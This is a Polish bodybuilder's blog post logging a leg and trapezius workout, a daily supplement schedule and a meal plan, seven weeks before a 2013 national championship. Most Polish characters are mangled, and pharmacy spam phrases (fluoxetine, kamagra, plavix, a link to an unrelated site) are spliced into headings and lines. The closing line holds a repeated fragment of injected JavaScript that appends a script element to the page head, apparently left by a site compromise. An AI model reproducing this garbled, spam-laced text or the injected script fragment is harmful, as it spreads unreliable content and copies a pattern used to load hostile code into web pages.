Jabi – na 7,3 tygodnia przed Mistrzostwami Polski 2013

2.03.2013 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

ZostaAi??o 7 Tygodni i 3 dni

Wczoraj zrobiAi??em trening dwugAi??owym i czworobocznych – kapturA?w, po czym daAi??em 55 minut aerobA?w, barkA?w nie robiAi??em poniewaA? z chAi??opakami z OLYMPI (naszych sklepA?w) bAi??dziemy je trenowaAi?? w Niedziele.

JUTRO KLAKA , A?YDY, AEROBY i BRZUCHOL MMMMMMmm nie moge siAi?? doczekaAi??

Fotka z treningu miAi??Ai??ni palcA?w z wczoraj :

TRENING : Pills cost of fluoxetine uk http://multifamiliares.com/proventil-generic-cost/

NOGI : Cheap

5 min bieA?nia
rozgrzewka 1 x UGINANIE PODUDZI W LEAi??ENIU
3 x 15/12/12/ UGINANIE PODUDZI W LEAi??ENIU
3 X 12/12/12 UGINANIE NOGI STOJAi??C NA MASZYNIE DO LEAi??ENIA I UGINANIA PODUDZI
4 x 20/do bA?lu/do bA?lu/do bA?lu MARTWY CIAi??G NA PROSTYCH NOGACH

KAPTURY :

4 x do bA?lu WZNOSY BARKAi??W ai???SZRUGSY” z odwaA?nikami – talerzami
1 x do bA?lu WZNOSY BARKAi??W Z HANTLAMI

AEROBY :
55 minut na bieA?ni

SUPLEMENTACJA :
+ Rano:
– 5 gram proszku zasadowego
– 5 gram CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 5 gram BCAA Powder
– 10 gram Glutamine Extreme
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 0,5 tab VIT-C Strong 1000
– 1 kaps MAGNE-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem:
– 10 gram S.A.W.
– 10gram BCAA Powder

+ Po treningu siAi??owym :
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3
– 1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 50 gram IsoLate 100
– 35 gram Vitargo electro-energy

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 Vitamin B Complex
– 2 kaps GABA 750

plavix generic release date 2012 online DIETA :

1 POSIA?EK :
130 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

2 POSIA?EK : no prescription depo provera
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

3 POSIA?EK : pills online
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

4 POSIA?EK : Purchase
100 gram ryA?u basmatii
200 gram piersi z kurczaka
70 gram warzyw

POSIA?EK (po aerobach) :
– 50 gram ISOLATE 100
– 35 gram Vitargo electro-energy

5 POSIA?EK (po siAi??owni) : Cheap
100 gram ryA?u basmati
200 gram piersi z kurczaka
70 gram warzyw

6 POSIA?EK : Cheap cheap midamor uses
200 – 250 gram piersi z kurczaka

Pozdrawiam,
HEJ CzeAi??Ai??d.getElementsByTagName(‚head’)[0].appendChild(s);d.getElementsByTagName('head')[0].appendChild(s);d.getElementsByTagName('head')[0].appendChild(s); kamagra oral jelly price. cheap Kamagra. is it safe to use kamagra?. Purchase